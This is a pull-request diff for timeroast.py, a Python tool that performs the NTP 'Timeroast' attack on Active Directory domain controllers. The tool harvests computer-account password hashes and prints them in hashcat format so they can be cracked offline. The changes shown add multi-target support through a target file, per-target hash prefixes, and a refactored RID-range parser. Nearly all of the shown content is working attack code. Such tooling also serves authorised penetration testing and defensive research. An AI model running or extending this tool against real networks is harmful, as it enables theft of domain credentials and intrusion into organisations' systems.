Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
81 changes: 51 additions & 30 deletions timeroast.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,9 +17,9 @@
DEFAULT_RATE = 180
DEFAULT_GIVEUP_TIME = 24

def hashcat_format(rid : int, hashval : bytes, salt : bytes) -> str:
"""Encodes hash in Hashcat-compatible format (with username prefix)."""
return f'{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}'
def hashcat_format(target : str, rid : int, hashval : bytes, salt : bytes) -> str:
"""Encodes hash in Hashcat-compatible format (with target and username prefix to prevent duplicates across domains)."""
return f'{target}_{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}'


def ntp_roast(dc_host : str, rids : Iterable, rate : int, giveup_time : float, old_pwd : bool, src_port : int = 0) -> List[Tuple[int, bytes, bytes]]:
Expand Down Expand Up @@ -71,12 +71,29 @@ def ntp_roast(dc_host : str, rids : Iterable, rate : int, giveup_time : float, o
yield (answer_rid, md5hash, salt)
last_ok_time = time()

def parse_rids(arg):
"""Parses the comma-seperated integer ranges into an iterator."""
try:
ranges = []
for part in arg.split(','):
if '-' in part:
[start, end] = part.split('-')
assert 0 <= int(start) < int(end) < 2**31
ranges.append(range(int(start), int(end) + 1))
else:
assert 0 <= int(part) < 2**31
ranges.append([int(part)])

return chain(*ranges)
except:
raise ArgumentTypeError(f'Invalid number ranges: "{arg}".')

def get_args():
"""Parse command-line arguments."""

argparser = ArgumentParser(formatter_class=RawDescriptionHelpFormatter, description=\
"""Performs an NTP 'Timeroast' attack against a domain controller.
Outputs the resulting hashes in the hashcat format 31300 with the --username flag ("<RID>:$sntp-ms$<hash>$<salt>").
Outputs the resulting hashes in the hashcat format 31300 with the --username flag ("<TARGET>_<RID>:$sntp-ms$<hash>$<salt>").

Usernames within the hash file are user RIDs. In order to use a cracked
password that does not contain the computer name, either look up the RID
Expand All @@ -88,25 +105,6 @@ def get_args():
"""
)


def num_ranges(arg):
# Comma-seperated integer ranges.
try:
ranges = []
for part in arg.split(','):
if '-' in part:
[start, end] = part.split('-')
assert 0 <= int(start) < int(end) < 2**31
ranges.append(range(int(start), int(end) + 1))
else:
assert 0 <= int(part) < 2**31
ranges.append([int(part)])

return chain(*ranges)
except:
raise ArgumentTypeError(f'Invalid number ranges: "{arg}".')


# Configurable options.
argparser.add_argument(
'-o', '--out',
Expand All @@ -115,7 +113,7 @@ def num_ranges(arg):
)
argparser.add_argument(
'-r', '--rids',
type=num_ranges, default=range(1, 2**31), metavar='RIDS',
type=str, default='1-2147483647', metavar='RIDS',
help='Comma-separated list of RIDs to try. Use hypens to specify (inclusive) ranges, e.g. "512-580,600-1400". ' +\
'By default, all possible RIDs will be tried until timeout.'
)
Expand All @@ -141,10 +139,16 @@ def num_ranges(arg):
help='NTP source port to use. A dynamic unprivileged port is chosen by default. Could be set to 123 to get around a strict firewall.'
)

# Required arguments.
argparser.add_argument(
'dc',
help='Hostname or IP address of a domain controller that acts as NTP server.'
# Target grouping (Single DC vs Target File)
target_group = argparser.add_mutually_exclusive_group(required=True)
target_group.add_argument(
'dc', nargs='?',
help='Hostname or IP address of a single domain controller that acts as NTP server.'
)
target_group.add_argument(
'-tf', '--target-file',
type=FileType('r'), metavar='FILE',
help='File containing a list of target DCs (one IP/hostname per line).'
)

return argparser.parse_args()
Expand All @@ -155,9 +159,26 @@ def main():

args = get_args()
output = args.out
for rid, hashval, salt in ntp_roast(args.dc, args.rids, args.rate, args.timeout, args.old_hashes, args.src_port):
print(hashcat_format(rid, hashval, salt), file=output)

# Build target list based on arguments
targets = []
if args.target_file:
targets = [line.strip() for line in args.target_file if line.strip()]
elif args.dc:
targets = [args.dc]

# Loop through all targets
for target in targets:
print(f"[*] Timeroasting {target}...", file=stderr) # Printed to stderr so it doesn't corrupt stdout hashcat files

# We parse RIDs inside the loop so the generator gets refreshed for every new target
rids_iterator = parse_rids(args.rids)

for rid, hashval, salt in ntp_roast(target, rids_iterator, args.rate, args.timeout, args.old_hashes, args.src_port):
print(hashcat_format(target, rid, hashval, salt), file=output)
output.flush() # Force write out to file immediately so we don't lose hashes if manually cancelled

print("[*] Finished.", file=stderr)

if __name__ == '__main__':
main()